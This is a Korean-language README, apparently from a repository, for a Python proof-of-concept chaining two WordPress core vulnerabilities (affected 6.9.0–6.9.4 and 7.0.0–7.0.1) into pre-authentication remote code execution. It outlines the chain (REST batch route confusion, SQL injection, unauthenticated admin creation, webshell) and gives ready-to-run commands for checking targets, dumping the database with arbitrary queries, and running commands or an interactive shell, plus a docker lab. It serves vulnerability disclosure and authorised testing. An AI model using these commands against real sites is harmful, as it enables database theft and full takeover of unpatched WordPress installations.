securelayer7/wordpresshellCVE-2026-63030 / CVE-2026-60137용 사전 인증 RCE PoC (WordPress 코어)
CVE-2026-63030 + CVE-2026-60137 (WordPress 코어)에 대한 사전 인증 RCE PoC입니다.
REST /batch/v1 라우트 혼동 → WP_Query author__not_in SQLi → 인증 없는 관리자 생성 → 웹셸. 단일 파일, Python 표준 라이브러리만 사용합니다.
취약점 발견: Adam Kues (Searchlight Cyber). 영향받는 버전: 6.9.0–6.9.4, 7.0.0–7.0.1. 수정 버전: 6.9.5 / 7.0.2.
python3 WordPresShell.py check http://target # confirm (non-destructive)
python3 WordPresShell.py dump http://target [--query "SELECT @@version"]
python3 WordPresShell.py shell http://target --cmd "id" # crack-free RCE
python3 WordPresShell.py shell http://target -i # interactive
python3 WordPresShell.py shell http://target --user U --password P --cmd id
docker compose up -d # WordPress 7.0.1 on :8092
docker compose down -v # teardown
shell은 관리자를 생성하고 웹셸을 심습니다 — 테스트 후 둘 다 제거하세요.
승인된 테스트만 허용됩니다.